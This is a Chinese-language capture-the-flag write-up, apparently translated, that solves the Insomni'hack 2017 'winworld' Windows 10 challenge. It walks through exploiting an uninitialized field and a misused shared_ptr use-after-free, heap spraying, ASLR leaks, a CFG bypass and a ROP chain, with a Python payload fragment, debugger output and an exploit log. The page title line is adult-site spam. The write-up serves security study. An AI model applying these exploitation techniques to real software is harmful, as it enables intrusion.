压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

在Windows10中利用一個誤用的C++共享指針

在本文中,我描述了我的“winworld”挑戰的一個詳細的解決方案,這個挑戰來自Insomni’hack CTF Teaser 2017。Winworld是一個使用C++11編寫的x64的Windows二進制文件,并且包含了大部分Windows 10內置的保護措施,特別是AppContainer(AppJailLauncher)、執行流保護和最新的緩解策略。

這些能使用Process Hacker快速的驗證(也要注意保留的2TB的CFGBitmap):

http://p1.qhimg.com/t019e73e55e5ebd41cc.png

這個任務運行在Windows Server 2016上面,挑戰的行為與Windows 10一致,甚至使用了相同的庫。這個挑戰和描述能在這里找到。

0x01 二進制的邏輯
我們的今年的主題是“機器的風險”;winworld是最新的Westworls TV秀,并實現了一個“narrator”接口,你能狗創建機器人和人類,配置他們的行為,并且在地圖上面移動他們。

這個narrator操作Person對象,這個對象是“hosts”(robots)和“guests”(humans)的共享類。每個類型存儲在獨立的列表中。

每個Person對象有下面的屬性:

http://p9.qhimg.com/t01e2011c0a7c3f670e.png

這個narrator暴露了下面的命令:
–[ Welcome to Winworld, park no 1209 ]–
narrator [day 1]$ help
Available commands:
– new <type> <sex> <name>
– clone <id> <new_name>
– list <hosts|guests>
– info <id>
– update <id> <attribute> <value>
– friend <add|remove> <id 1> <id 2>
– sentence <add|remove> <id> <sentence>
– map
– move <id> {<l|r|u|d>+}
– random_move
– next_day
– help
– prompt <show|hide>
– quit
narrator [day 1]$
在調用move或者random_move時行為發生,2個人相遇了。這個onEncounter方法指針被調用,他們能交互。只有攻擊實際對其他Person對象有影響:如果攻擊成功了,其他對象可能損壞或者死亡。Robots會永久死亡但是不能殺死humans。Humans只能活一次并且能殺死其他humans。next_day功能能復活robots的生命和恢復每個人的健康,但是如果對象是一個死人,將會被移除出列表。
People使用馬爾可夫鏈的自動的方式交流,這種方式使用Westworld腳本初始化和添加句子,這個可能會發生有趣的對話。許多句子不能一直有效,因為有漏洞存在,我在描述中指定了它,以節省一些逆向的時間(已經有大量的C ++逆向了)。

0x02 弱點1:在Person中復制構造函數未初始化屬性
在narrator初始化期間,map隨機生成并且一個特定的點被選作“maze center”,當某些特定條件達到時,機器人將轉變為人類。這個條件是當前移動的Person必須是HOST,設置了is_conscious,并且必須有一個人類(GUEST)在maze center。

第一件事是找到這個點。所有的隨機數據能使用rand()獲得,并且這個種子使用經典的srand(time(NULL))來初始化。因此這個種子能通過幾次嘗試來確定。一旦同步了服務器的時鐘,在利用中簡單的重放初始化算法能允許找到用來生成maze center的rand()的值。編寫一個簡單的路徑查找算法來使每個人都到這個位置。

機器人通過Person::Person構造函數中的is_conscious=false來初始化。然而這個Person::Person的拷貝構造函數被narrator的clone函數使用了,但是忘記了初始化。這個值將是未初始化的,并可以使用堆上面已有的內容。結果是克隆一個機器人足以使的is_conscious!=0,但是我們需要確保它是。

有時新克隆的機器人將在LFH中,有時不是。最好是通過克隆0x10減去當前的Person對象數(6)來確保總是在LFH中。讓我們克隆6+1次并在windbg中檢驗:
0:004> ? winworld!Person::Person
Matched: 00007ff7`9b9ee700 winworld!Person::Person (<no parameter info>)
Matched: 00007ff7`9b9ee880 winworld!Person::Person (<no parameter info>)
Ambiguous symbol error at ‘winworld!Person::Person’
0:004> bp 00007ff7`9b9ee880 “r rcx ; g” ; bp winworld!Person::printInfos ; g
rcx=0000024a826a3850
rcx=0000024a826800c0rcx=0000024a82674130
rcx=0000024a82674310
rcx=0000024a82673a50
rcx=0000024a82673910
rcx=0000024a82673d70Breakpoint 1 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> r rcx
rcx=0000024a82673d700:000> !heap -x 0000024a826800c0Entry User Heap Segment Size PrevSize Unused Flags
————————————————————————————————————-
0000024a826800b0 0000024a826800c0 0000024a82610000 0000024a82610000 a0 120 10 busy
0:000> !heap -x 0000024a82673d70Entry User Heap Segment Size PrevSize Unused Flags
————————————————————————————————————-
0000024a82673d60 0000024a82673d70 0000024a82610000 0000024a828dec10 a0 – 10 LFH;busy
在這里我們能看到頭2個不在LFH中,其他的都在。

LFH分配是隨機的,增加了一些挑戰。然而這些分配使用大小為0x100的數組隨機化,其位置以模數0x100遞增,這意味著如果我們噴射正確大小的0x100個元素,我們將回到相同的位置,從而獲得確定性行為。我們甚至不需要保證內存塊,因此我們能簡單的使用0x90大小(和Person一樣)的命令字符串來噴射,它總是為clone操作初始化is_conscious屬性。

現在我們的機器人變成了人類,并且麻煩再次開始!

注意:似乎Visual Studio 2015默認開啟了/sdl編譯標記,這將添加memset函數來將分配的Person對象填充為0,因此變得不可利用。我禁用了它,但為了公平起見,我開啟了不是默認的CFG!

0x03 弱點2:誤用了std::shared_ptr
共享指針是一個對象指針的簡單封裝。它特別添加了引用計數,在shared_ptr關聯了新的變量時會增加計數,當釋放了變量會減少計數。當引用計數變為0時,引用對象將不會存在,因此它自動釋放它。針對UAF漏洞這個特別有效。

http://p0.qhimg.com/t0125b3364e5cb12851.png

在這個挑戰中,當機器人變成人類,它還保留在robtots列表中(但是它的is_enable字段變為false,因此不能再作為機器人了),并且被插入到humans列表中:

http://p0.qhimg.com/t013f14e148da83baa1.png

這是非常錯誤的,因為不是增加對象的shared_str的引用計數,我們創建了一個新的shared_str只想一個相同的對象:

http://p1.qhimg.com/t0107d9917696ce93fe.png

當任意兩個shared_ptr的引用計數降為0,這個對象被釋放,并且因為其他shared_ptr還存活著,我們還是可以利用UAF漏洞!為了做到這個,我們能殺掉human-robot來使用另一個人類。我們也不得不移除他所有的朋友,否則引用計數不會為0。然后當它從guests向量中移除了指針時,使用next_day方法釋放它:

http://p1.qhimg.com/t01624debeea32f0f68.png

現在得到RIP是簡單的,因為對象擁有一個方法指針:使用一個假對象來噴射長度0x90的0x100個字符串,這個對象是std::string能包含空字節,然后將死掉的human-robot右移,他將再次遇到他的殺手,并觸發覆蓋onEncounter的方法指針:
def craft_person(func_ptr, leak_addr, size):
payload = struct.pack(“<Q”, func_ptr) # func pointer
payload += “\x00″ * 24 # friends std::vector
payload += “\x00″ * 24 # sentences std::vector

# std::string name
payload += struct.pack(“<Q”, leak_addr)
payload += “JUNKJUNK”
payload += struct.pack(“<Q”, size) # size
payload += struct.pack(“<Q”, size) # max_size

payload += struct.pack(“<I”, 1) # type = GUEST
payload += struct.pack(“<I”, 1) # sex
payload += “\x01″ # is_alive
payload += “\x01″ # is_conscious
payload += “\x01″ # is_enabled
[…]

payload = craft_person(func_ptr=0x4242424242424242, leak_addr=0, size=0)for i in range(0x100):
sendline(s, payload)
sendline(s, “move h7 lr”)
結果:
0:004> g
(1a00.c68): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!LdrpValidateUserCallTarget+0xe:
00007ffa`89b164ae 488b14c2 mov rdx,qword ptr [rdx+rax*8] ds:010986ff`08d30908=????????????????
0:000> ? rax << 9
Evaluate expression: 4774451407313060352 = 42424242`42424200
CFG將使問題變得復雜一點,但是在那之前我們需要來泄漏地址對抗ASLR。

0x04 泄漏二進制基地址
在前一個代碼樣本中我們制作了一個大小為0的std:string來阻止打印名字時崩潰。用有效值來替換指針和大小將在該地址打印大小字節,因此我們使用任意原始讀寫。現在我們打印了什么?除了_KUSER_SHARED_DATA的地址0x7ffe0000,其他都有ASLR,但是在Windows 10中它不能容納任何指針。

代替使用字符串來利用UAF,我們必須使用相同LFH大小(0xa0)的另一個對象來替換Person對象。我們沒有其他的,但是我們能增加vector的大小來代替。

使用std::vector<std::shared_ptr<Person>> friends來循環測試,我們使用7-9 friends能得到一些東西:
0:004> g
Breakpoint 0 hit
winworld!Person::printInfos:
00007ff7`9b9f0890 4c8bdc mov r11,rsp
0:000> dq rcx
000001cf`94daea60 00007ff7`9b9ef700 000001cf`94d949b0000001cf`94daea70 000001cf`94d94a20 000001cf`94d94a40
000001cf`94daea80 000001cf`94dac6c0 000001cf`94dac760
000001cf`94daea90 000001cf`94dac780 00736572`6f6c6f44
000001cf`94daeaa0 61742074`73657567 00000000`00000007
000001cf`94daeab0 00000000`0000000f 00000002`00000000
000001cf`94daeac0 00000000`20010001 00000000`00000000
000001cf`94daead0 0000003d`00000020 0000000a`00000004
0:000> !heap -x 000001cf`94d949b0Entry User Heap Segment Size PrevSize Unused Flags
————————————————————————————————————-
000001cf94d949a0 000001cf94d949b0 000001cf94d30000 000001cf94dafb50 a0 – 10 LFH;busy
0:000> dq 000001cf`94d949b0000001cf`94d949b0 000001cf`94dfb410 000001cf`94d90ce0
000001cf`94d949c0 000001cf`94dac580 000001cf`94d90800
000001cf`94d949d0 000001cf`94d98f90 000001cf`94d911c0
000001cf`94d949e0 000001cf`94d99030 000001cf`94d912e0 # string pointer000001cf`94d949f0 000001cf`94db4cf0 000001cf`94d91180 # string size000001cf`94d94a00 000001cf`94db7e60 000001cf`94d912a0
000001cf`94d94a10 000001cf`94e97c70 000001cf`94d91300
000001cf`94d94a20 7320756f`590a2e73 73696874`20776f68
0:000> dps poi(000001cf`94d949b0+8+0n24*2) L3000001cf`94d912e0 00007ff7`9b9f7158 winworld!std::_Ref_count<Person>::`vftable’000001cf`94d912e8 00000001`00000005
000001cf`94d912f0 000001cf`94d99030
這個vector現在屬于和Person對象相同的LFH。如果我們噴射0xf0字符串接著0x10 7-friends vectors,我們能夠泄漏指針:在winworld中的一個虛表地址和堆。我們應該能用0xff字符串來做到這個,然后是一個friends vectors,但是有一些分配有時會發生,我還沒調試出什么引起的。
盡管我們不能控制大小,它是巨大的,因此二進制不可避免的將崩潰!好消息是Windows上的堆和棧的隨機只在每次啟動時發生一次。每個進程都隨機好了。這是不好的,但是因為二進制文件自動重啟不是個問題,因此我們已經泄露了模塊基地址,并且我們能夠在子過程中復用它。

注意:當你開發一個Windows利用時,不要把二進制文件放在linux主機共享中,這會導致每次執行都隨機化!

0x05 繞過CFG
CFG是微軟的控制流完整性方案,它基于任何非直接調用必須指向函數開頭的簡單思想。在非直接調用之前會有__guard_check_icall_fptr插入:

http://p6.qhimg.com/t0144e90b1f20336b70.png

在Windows 10中這將調用ntdll!LdrpValidateUserCallTarget來檢驗指針是否是一個可靠的函數開頭,如果不是則終止。

CFG的優勢是能強制中斷一個合法的程序(因此沒有原因不使用它)。然而CFG有3個常見的缺陷:

1. 與驗證函數參數和返回值的類型的CFI機制相比, 被允許的目標的集合還是太大。

2. 它不能保護棧,因為返回地址不是函數開頭。微軟將使用RFG來修復這個并且將來Intel處理器也支持,但是還是不夠強。

3. 如果加載了一個沒有使用CFG編譯的模塊,該模塊的所有的地址都是被允許的。JIT可能有問題。(這里的二進制和所有模塊都支持CFG和沒有JIT)

當我寫這個文章的時候,一篇繞過CFG的博文就已經發布了,即利用kernel32!RtlCaptureContext(缺陷1)。j00ru是唯一一個解決這個任務的人,使用它來泄漏棧,但是我沒有使用這個,而是選擇了手動泄漏/寫棧(缺陷2)。

我們已經使用了std::string name屬性來實現任意讀取,現在我們也能夠使用它來實現任意寫!唯一需要的是將字符串替換為不比當前std::string對象最大大小更多的字節。這非常酷,然而目前為止我們還不知道棧(或者堆)在哪里,并且每次運行程序的庫都會隨機。我們后面會回到這。首先我們也想泄漏其他庫的地址。

0x06 泄漏其他庫
使用二進制基址和0x100個persons字符串的噴射,我們足夠泄漏任意的內存地址。 我們能保留vectors為空字符串,來阻止調用Person::printInfos時崩潰。

現在我們已經有了二進制的基址,并且知道下次啟動才會改變,泄漏其他庫是個嘗試:我們能轉儲IAT的入口。我的利用充分利用了ucrtbase.dll和ntdll.dll(在CFG中總是存在IAT),能通過構造一個std::string指向下面地址來完成泄漏:
0:000> dps winworld+162e8 L1
00007ff7`9b9f62e8 00007ffa`86d42360 ucrtbase!strtol
0:000> dps winworld+164c0 L2
00007ff7`9b9f64c0 00007ffa`89b164a0 ntdll!LdrpValidateUserCallTarget
00007ff7`9b9f64c8 00007ffa`89b164f0 ntdll!LdrpDispatchUserCallTarget
重復泄漏,我們能用gets()的地址來覆蓋onEncounter的方法指針,一旦我們定位了ucrtbase.dll的基址。這當然是因為這個任務特殊的上下文,其標準輸入輸出流重定向到了客戶端套接字上。這將觸發gets(this_object)堆溢出,我們能使用來覆蓋名字字符串的屬性。

0x07 泄漏棧
在哪找棧指針?我們能從ntdll找到PEB的指針,然而在x64中PEB結構不包含指向TEB的指針。

一個最近的j00ru的博文描述了一個有趣的事實:盡管沒有好的原因在堆上面存儲棧指針,但是在進程初始化期間可能會有一些剩余的堆棧數據被無意復制到堆中。

他的博文在x86上描述了它,讓我們在x64上面的堆中找下隱藏的棧指針:
0:001> !address
[…]
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
————————————————————————————————————————–
[…] 3b`b6cfb000 3b`b6d00000 0`00005000 MEM_PRIVATE MEM_COMMIT PAGE_READWRITE Stack [~0; 2524.1738]
[…]
0:001> !heap
Heap Address NT/Segment Heap 17c262d0000 NT Heap
17c26120000 NT Heap
0:001> !address 17c262d0000 Usage: Heap
Base Address: 0000017c`262d0000End Address: 0000017c`26332000[…]
0:001> .for (r $t0 = 17c`262d0000; @$t0 < 17c`26332000; r $t0 = @$t0 + 8) { .if (poi(@$t0) > 3b`b6cfb000 & poi(@$t0) < 3b`b6d00000) { dps $t0 L1 } }
0000017c`262d2d90 0000003b`b6cff174
0000017c`262deb20 0000003b`b6cffbd8
0000017c`262deb30 0000003b`b6cffbc8
0000017c`262deb80 0000003b`b6cffc30
0000017c`2632cf80 0000003b`b6cff5e0
0000017c`2632cfc0 0000003b`b6cff5e0
0000017c`2632d000 0000003b`b6cff5e0
0000017c`2632d1a0 0000003b`b6cff5e0
0000017c`2632d2c0 0000003b`b6cff5e0
0000017c`2632d4e0 0000003b`b6cff5e0
0000017c`2632d600 0000003b`b6cff5e0
0000017c`2632d660 0000003b`b6cff5e0
0000017c`2632d6e0 0000003b`b6cff5e0
0000017c`2632d700 0000003b`b6cff5e0
0:000> dps winworld+1fbd0 L3
00007ff7`9b9ffbd0 0000017c`2632ca8000007ff7`9b9ffbd8 0000017c`262da050
00007ff7`9b9ffbe0 0000017c`2632cf20
好的!我們確實在默認堆上面找到了棧指針,并且我們能從winworld基址來泄漏堆中靜態偏移的地址。
現在我們能瀏覽堆頁,并且試圖找到這些棧地址。在我的利用中為了簡單,我使用了一個簡單啟發的方式來找到QWORDS在堆下面,但也高于100000000,交互式詢問哪個可以作為棧泄漏。這明顯可以改進。

0x08 緩解措施和ROP
現在我們已經有任意寫了并且能覆蓋棧上面的RIP地址,剩下的就是構建ROP了。幾個想法如下:

VirtualProtect,然后shellcode

加載SMB上面的庫

執行一個shell命令(WinExec等)

完整的ROP來讀取標記

正如早前提到的,二進制有一些最新的緩解措施,在我們的上下文中是相關聯的:

ProcessDynamicCodePolicy:阻止插入新的可執行內存,VirtualProtect將失敗

ProcessSignaturePolicy:庫必須被簽名,組織了LoadLibrary

ProcessImageLoadPolicy:庫不能從遠程位置加載,組織了加載SMB上的庫

最后兩個選項依然可以用。我也想在父進程AppJailLauncher進程中添加一個使用PROC_THREAD_ATTRIBUTE_CHILD_PROCESS_POLICY的UpdateProcThreadAttribute的調用,將阻止winworld創建新進程,但是因為是一個控制臺程序,winworld也會帶起一個conhost.exe進程。使用這個緩解措施能阻止conhost.exe的創建,并且因此程序不能運行。

我的解決方案在ROP中直接讀取。因為我不想陷入CreateFile和Windows句柄的麻煩中,我代替使用了ucrtbase.dll中的_sopen_s/_read/puts/_flushall函數。

在ntdll中查找小配件,我們能找到x64調用規則的pop前四個寄存器的完美的小配件。小配件在CFG中是它自己,這非常驚喜,可以進入rop鏈了。
0:000> u ntdll+96470 L5
ntdll!LdrpHandleInvalidUserCallTarget+0x70:
00007ffa`89b16470 5a pop rdx
00007ffa`89b16471 59 pop rcx
00007ffa`89b16472 4158 pop r8
00007ffa`89b16474 4159 pop r9
00007ffa`89b16476 c3 ret
最終整合到一起:
Z:\awe\insomnihack\2017\winworld>python sploit.py getflag remote
[+] Discovering the PRNG seed…
Clock not synced with server…
[+] Resynced clock, delay of -21 seconds
[+] Found the maze center: (38, 41)
[+] Check the map for people positions
[+] Make sure that LFH is enabled for bucket of sizeof(Person)
6 / 6 …
[+] Spray 0x100 std::string to force future initialization of pwnrobot->is_conscious
256 / 256 …
[+] Cloning host, with uninitialized memory this one should have is_conscious…
[+] Removing current friends of pwnrobot…
[+] Moving a guest to the maze center (37, 86) -> (38, 41)…
[+] Moving our host to the maze center (38, 29) -> (38, 41)…
[+] pwnrobot should now be a human… kill him!
[+] Removing all pwnrobot’s friends…
7 / 7 …
[+] Decrement the refcount of pwnrobot’s human share_ptr to 0 -> free it
[+] Spray 0x100 std::string to trigger UAF
256 / 256 …
[+] heap leak: 0x18a6eae8b40
[+] Leaking stack ptr…
[+] Dumping heap @ 0x18a6eae6b40…
[+] Dumping heap @ 0x18a6eae7b40…
[HEAP] 0x18a6eae7b40
[00] – 0x18a6ea96c72
[01] – 0x18a6ea9c550
[02] – 0x18a6ea9e6e0
Use which qword as stack leak?
[+] Dumping heap @ 0x18a6eae8b40…
[HEAP] 0x18a6eae8b40
[00] – 0x3ab7faf120
[01] – 0x3ab7faf4f0
[02] – 0x18a6ea9c550
[03] – 0x18a6eae84c0
[04] – 0x18a6eae8560
[05] – 0x18a6eae8760
Use which qword as stack leak? 1
[+] stack @ 0x3ab7faf4f0
[+] Leaking stack content…
[-] Haven’t found saved RIP on the stack. Increment stack pointer…
[-] Haven’t found saved RIP on the stack. Increment stack pointer…
[-] Haven’t found saved RIP on the stack. Increment stack pointer…
RIP at offset 0x8
[+] Overwrite stack with ROPchain…
[+] Trigger ROP chain…
Better not forget to initialize a robot’s memory!Flag: INS{I pwn, therefore I am!}[+] Exploit completed.

上一篇:spora敲詐者木馬分析

下一篇:通過JMX訪問破壞Apache Tomcat